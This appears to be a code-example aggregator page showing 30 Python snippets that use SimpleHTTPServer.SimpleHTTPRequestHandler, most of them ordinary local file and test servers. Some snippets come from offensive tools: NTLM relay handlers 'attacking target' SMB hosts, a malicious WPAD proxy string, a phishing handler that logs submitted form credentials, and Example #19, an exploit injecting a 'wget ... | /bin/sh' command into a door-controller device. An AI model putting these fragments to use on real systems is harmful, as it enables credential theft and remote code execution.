Python SimpleHTTPServer.SimpleHTTPRequestHandler() Examples
The following are 30
code examples of SimpleHTTPServer.SimpleHTTPRequestHandler().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
SimpleHTTPServer
, or try the search function
.
Example #1
Source File: serve.py From Computable with MIT License | 7 votes |
def call(self, input): """ Simple implementation to serve the build directory. """ try: dirname, filename = os.path.split(input) if dirname: os.chdir(dirname) httpd = HTTPServer(('127.0.0.1', 8000), SimpleHTTPRequestHandler) sa = httpd.socket.getsockname() url = "http://" + sa[0] + ":" + str(sa[1]) + "/" + filename if self.open_in_browser: webbrowser.open(url, new=2) print("Serving your slides on " + url) print("Use Control-C to stop this server.") httpd.serve_forever() except KeyboardInterrupt: print("The server is shut down.")
Example #2
Source File: recipe-574454.py From code with MIT License | 7 votes |
def test(HandlerClass = SimpleHTTPRequestHandler, ServerClass = ThreadedServer, protocol="HTTP/1.0"): ''' Test: Run an HTTP server on port 8002 ''' port = 8002 server_address = ('', port) HandlerClass.protocol_version = protocol httpd = ServerClass(server_address, HandlerClass) sa = httpd.socket.getsockname() print "Serving HTTP on", sa[0], "port", sa[1], "..." httpd.serve_forever()
Example #3
Source File: SimpleAsyncHTTPServer.py From cldstk-deploy with MIT License | 6 votes |
def send_head(self): path = self.translate_path(self.path) if sys.platform == 'win32': if os.path.split(path)[1].lower().split('.')[0] in reserved_names: self.send_error(404, "File not found") return if os.path.isdir(path): if not self.path.endswith('/'): self.send_response(302) x = '<META HTTP-EQUIV="refresh" CONTENT="0;URL=%s/">'%self.path self.send_header("Content-Location", self.path + '/') self.send_header("Content-Length", len(x)) self.end_headers() self.wfile.write(x) return None return SimpleHTTPServer.SimpleHTTPRequestHandler.send_head(self)
Example #4
Source File: lookasidetest.py From conary with Apache License 2.0 | 6 votes |
def getRequester(): accessed = {} class SmallFileHttpRequestor(SimpleHTTPRequestHandler): # shut up! def log_message(self, *args, **kw): pass def do_GET(self): if self.path in accessed: accessed[self.path] += 1 else: accessed[self.path] = 1 response = '%s:%d\n' %(self.path, accessed[self.path]) if '404' in self.path: self.send_response(404) else: self.send_response(200) self.send_header("Content-type", "text/unknown") self.send_header("Content-Length", len(response)) self.end_headers() self.wfile.write(response) return SmallFileHttpRequestor
Example #5
Source File: lookasidetest.py From conary with Apache License 2.0 | 6 votes |
def cookieRequester(): class CookieFileHttpRequestor(SimpleHTTPRequestHandler): # shut up! def log_message(self, *args, **kw): pass def do_GET(self): if 'Cookie' not in self.headers: self.send_response(302) baseUrl = 'http://%s:%s/' %(self.server.server_name, self.server.server_port) self.send_header('Set-Cookie', 'session=1;') self.send_header('Location', baseUrl + self.path) self.end_headers() else: self.send_response(200) response = 'Hello, world!\n' self.send_header('Content-type', 'text/unknown') self.send_header('Content-Length', len(response)) self.end_headers() self.wfile.write(response) return CookieFileHttpRequestor
Example #6
Source File: httprelayserver.py From cracke-dit with MIT License | 6 votes |
def __init__(self,request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None if self.server.config.mode != 'REDIRECT': if self.server.config.target is None: # Reflection mode, defaults to SMB at the target, for now self.server.config.target = TargetsProcessor(singletarget = 'SMB://%s:445/' % client_address[0]) self.target = self.server.config.target.get_target(client_address[0],self.server.config.randomtargets) logging.info("HTTPD: Received connection from %s, attacking target %s" % (client_address[0] ,self.target[1])) try: SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) except Exception, e: logging.error(str(e))
Example #7
Source File: httpd.py From weeman with GNU General Public License v3.0 | 6 votes |
def do_POST(self): post_request = [] printt(3, "%s - sent POST request." %self.address_string()) form = cgi.FieldStorage(self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'],}) try: from core.shell import url logger = open("%s.log" %url.replace("https://", "").replace("http://", "").split("/")[0], "w+") logger.write("## Data for %s\n\n" %url) for tag in form.list: tmp = str(tag).split("(")[1] key,value = tmp.replace(")", "").replace("\'", "").replace(",", "").split() post_request.append("%s %s" %(key,value)) printt(2, "%s => %s" %(key,value)) logger.write("%s => %s\n" %(key,value)) logger.close() from core.shell import action_url create_post(url,action_url, post_request) SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) except socerr as e: printt(3, "Something wrong: (%s) igonring ..." %str(e)) except Exception as e: printt(3, "Something wrong: (%s) igonring ..." %str(e))
Example #8
Source File: handlers.py From quantipy with MIT License | 6 votes |
def do_POST(self): """ Store the result in a file, shut down the serve and then continue the script """ form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], }) for item in form.list: print item.name if item.name == "obj_json": save_string_in_tmp_folder( data=item.value, filename="obj.json") break shutdown_server(server_target=self.server) SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
Example #9
Source File: xml_file_server.py From daf-recipes with GNU General Public License v3.0 | 6 votes |
def serve(port=PORT): '''Serves test XML files over HTTP''' # Make sure we serve from the tests' XML directory os.chdir(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'xml')) Handler = SimpleHTTPServer.SimpleHTTPRequestHandler class TestServer(SocketServer.TCPServer): allow_reuse_address = True httpd = TestServer(("", PORT), Handler) print 'Serving test HTTP server at port', PORT httpd_thread = Thread(target=httpd.serve_forever) httpd_thread.setDaemon(True) httpd_thread.start()
Example #10
Source File: pac_websrv.py From pacdoor with BSD 3-Clause "New" or "Revised" License | 6 votes |
def main(): Handler = SimpleHTTPServer.SimpleHTTPRequestHandler Handler.extensions_map['.pac'] = 'application/x-ns-proxy-autoconfig' try: port = int(sys.argv[1]) except: port = DEFAULT_PORT print "Serving at port %s/tcp ..." % port httpd = SocketServer.TCPServer(("", port), Handler) httpd.serve_forever() ############## # Enry Point # ##############
Example #11
Source File: httprelayserver.py From Exchange2domain with MIT License | 6 votes |
def __init__(self,request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} ' if self.server.config.mode != 'REDIRECT': if self.server.config.target is None: # Reflection mode, defaults to SMB at the target, for now self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) self.target = self.server.config.target.getTarget(self.server.config.randomtargets) LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc)) try: SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) except Exception, e: LOG.error(str(e)) LOG.debug(traceback.format_exc())
Example #12
Source File: test_render_script.py From python-abp with GNU General Public License v3.0 | 6 votes |
def webserver_port(tmpdir, request): """Serve fragments via HTTP on a random port (return the port number).""" handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = SocketServer.TCPServer(('', 0), handler) port = httpd.socket.getsockname()[1] # Create some files to serve. webroot = tmpdir.join('webroot') webroot.mkdir() webroot.join('inc.txt').write('Web \u1234'.encode('utf-8'), mode='wb') webroot.join('metainc.txt').write( '%include http://localhost:{}/inc.txt%'.format(port)) # Change to this directory and start the webserver in another thread. os.chdir(str(webroot)) thread = threading.Thread(target=httpd.serve_forever) thread.setDaemon(True) thread.start() # Make sure we shut it down at the end of the test. request.addfinalizer(httpd.shutdown) return port
Example #13
Source File: __init__.py From EventGhost with GNU General Public License v2.0 | 6 votes |
def translate_path(self, path): """Translate a /-separated PATH to the local filename syntax. Components that mean special things to the local file system (e.g. drive or directory names) are ignored. (XXX They should probably be diagnosed.) """ # stolen from SimpleHTTPServer.SimpleHTTPRequestHandler # but changed to handle files from a defined basepath instead # of os.getcwd() path = posixpath.normpath(urllib.unquote(path)) words = path.split('/') words = filter(None, words) path = self.server.basepath for word in words: drive, word = os.path.splitdrive(word) head, word = os.path.split(word) if word in (os.curdir, os.pardir): continue path = os.path.join(path, word) return path
Example #14
Source File: visualization.py From bandicoot with MIT License | 6 votes |
def run(user, port=4242): """ Build a temporary directory with a visualization and serve it over HTTP. Examples -------- >>> bandicoot.visualization.run(U) Successfully exported the visualization to /tmp/tmpsIyncS Serving bandicoot visualization at http://0.0.0.0:4242 """ owd = os.getcwd() dir = export(user) os.chdir(dir) Handler = SimpleHTTPServer.SimpleHTTPRequestHandler try: httpd = SocketServer.TCPServer(("", port), Handler) print("Serving bandicoot visualization at http://0.0.0.0:%i" % port) httpd.serve_forever() except KeyboardInterrupt: print("^C received, shutting down the web server") httpd.server_close() finally: os.chdir(owd)
Example #15
Source File: httprelayserver.py From CVE-2017-7494 with GNU General Public License v3.0 | 6 votes |
def __init__(self,request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None if self.server.config.mode != 'REDIRECT': if self.server.config.target is not None: self.target = self.server.config.target.get_target(client_address[0],self.server.config.randomtargets) logging.info("HTTPD: Received connection from %s, attacking target %s" % (client_address[0] ,self.target[1])) else: self.target = self.client_address[0] logging.info("HTTPD: Received connection from %s, attacking target %s" % (client_address[0] ,client_address[0])) SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
Example #16
Source File: simple_HTTP_server1.py From SPSE with MIT License | 5 votes |
def do_GET(self): if self.path == '/test' : self.wfile.write('You have found the test page!') self.wfile.write(self.headers) else: SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
Example #17
Source File: CGIHTTPServer.py From RevitBatchProcessor with GNU General Public License v3.0 | 5 votes |
def send_head(self): """Version of send_head that support CGI scripts""" if self.is_cgi(): return self.run_cgi() else: return SimpleHTTPServer.SimpleHTTPRequestHandler.send_head(self)
Example #18
Source File: CGIHTTPServer.py From medicare-demo with Apache License 2.0 | 5 votes |
def send_head(self): """Version of send_head that support CGI scripts""" if self.is_cgi(): return self.run_cgi() else: return SimpleHTTPServer.SimpleHTTPRequestHandler.send_head(self)
Example #19
Source File: evo-exploit.py From Concierge with MIT License | 5 votes |
def inject(rhost, rport): # Converting local IP address to decimal to save payload space ipbits = lhost.split('.') abcd = (int(ipbits[0])*256**3) + (int(ipbits[1])*256**2) + (int(ipbits[2])*256) + int(ipbits[3]) local = str(abcd).rstrip('L') # Creating socket s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.setblocking(0) # Starting local HTTP Server SocketServer.TCPServer.allow_reuse_address = True httpd = SocketServer.TCPServer(("", lport), SimpleHTTPServer.SimpleHTTPRequestHandler) th = threading.Thread(target=httpd.serve_forever) th.daemon = True th.start() # Checking device type for potential warnings boardtype = rspn.split(";")[6] if boardtype != "EH400" and boardtype != "V2000": if boardtype == "V2-V1000" or boardtype == "V1000": print "[!] Device appears to be a VertX V1000. This device has not been thoroughly tested." print "[!] This might not work..." print "" else: print "[!] Unrecognized device type "+boardtype+"." print "[!] Assuming most common configuration." print "[!] Please submit any unrecognized device types to Concierge github repo issue tracker. https://github.com/lixmk/Concierge" print "[!] This might not work..." print "" # Defining payload and sending injection pkt1 = "command_blink_on;044;"+rmac+";1`wget http://"+local+":"+str(lport)+"/c -O-|/bin/sh`;" print "[*] Injecting command from: http://"+lhost+":"+str(lport) s.sendto(pkt1, (rhost, rport)) # Sleeping longer for V2000 and V1000 if boardtype == "V2000" or boardtype == "V1000": sleep(5) else: sleep(1) s.close
Example #20
Source File: main.py From syncnet with MIT License | 5 votes |
def _create_server_thread(self): os.chdir(self.storage_path) handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = SocketServer.TCPServer(('localhost', 0), handler) _, port = httpd.server_address self.http_port = port logger.debug('Serving on port #{}'.format(port)) t = threading.Thread(target=httpd.serve_forever) t.daemon = True # don't hang on exit t.start() return t
Example #21
Source File: csweb.py From calvin-base with Apache License 2.0 | 5 votes |
def end_headers (self): self.send_header('Access-Control-Allow-Origin', '*') SimpleHTTPServer.SimpleHTTPRequestHandler.end_headers(self)
Example #22
Source File: server.py From CuckooSploit with GNU General Public License v3.0 | 5 votes |
def do_POST(self): logging.warning("======= POST STARTED =======") logging.warning(self.headers) form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], }) logging.warning("======= POST VALUES =======") for item in form.list: logging.warning(item) logging.warning("\n") SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
Example #23
Source File: visopts.py From libpcap with BSD 3-Clause "New" or "Revised" License | 5 votes |
def run_httpd(): import SimpleHTTPServer import SocketServer class MySocketServer(SocketServer.TCPServer): allow_reuse_address = True Handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = MySocketServer(("localhost", 0), Handler) print "open this link: http://localhost:%d/expr1.html" % (httpd.server_address[1]) try: httpd.serve_forever() except KeyboardInterrupt as e: pass
Example #24
Source File: visopts.py From libpcap with BSD 3-Clause "New" or "Revised" License | 5 votes |
def run_httpd(): import SimpleHTTPServer import SocketServer class MySocketServer(SocketServer.TCPServer): allow_reuse_address = True Handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = MySocketServer(("localhost", 0), Handler) print("open this link: http://localhost:{}/expr1.html".format(httpd.server_address[1])) try: httpd.serve_forever() except KeyboardInterrupt as e: pass
Example #25
Source File: CGIHTTPServer.py From Splunking-Crime with GNU Affero General Public License v3.0 | 5 votes |
def send_head(self): """Version of send_head that support CGI scripts""" if self.is_cgi(): return self.run_cgi() else: return SimpleHTTPServer.SimpleHTTPRequestHandler.send_head(self)
Example #26
Source File: web.py From annotated-py-projects with MIT License | 5 votes |
def do_GET(self): if self.path.startswith('/static/'): SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) else: self.run_wsgi_app()
Example #27
Source File: test_extract.py From squadron with MIT License | 5 votes |
def __init__(self, directory, port): threading.Thread.__init__(self) self.directory = directory self.httpd = ReuseTCPServer(('127.0.0.1', port), SimpleHTTPServer.SimpleHTTPRequestHandler)
Example #28
Source File: network.py From peach with Mozilla Public License 2.0 | 5 votes |
def runHTTPDThread(): port = getUnboundPort(minRange=8000, maxRange=9000) httpd = SocketServer.TCPServer(("", port), SimpleHTTPServer.SimpleHTTPRequestHandler) p = multiprocessing.Process(target=httpd.serve_forever, args=()) p.start() socketProcesses.append(p) return port
Example #29
Source File: file_server.py From cloudify-plugins-common with Apache License 2.0 | 5 votes |
def start_impl(self): logger.info('Starting file server and serving files from: %s', self.root_path) os.chdir(self.root_path) class TCPServer(SocketServer.TCPServer): allow_reuse_address = True httpd = TCPServer(('0.0.0.0', PORT), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.serve_forever()
Example #30
Source File: CGIHTTPServer.py From SWEB with GNU General Public License v3.0 | 5 votes |
def send_head(self): """Version of send_head that support CGI scripts""" if self.is_cgi(): return self.run_cgi() else: return SimpleHTTPServer.SimpleHTTPRequestHandler.send_head(self)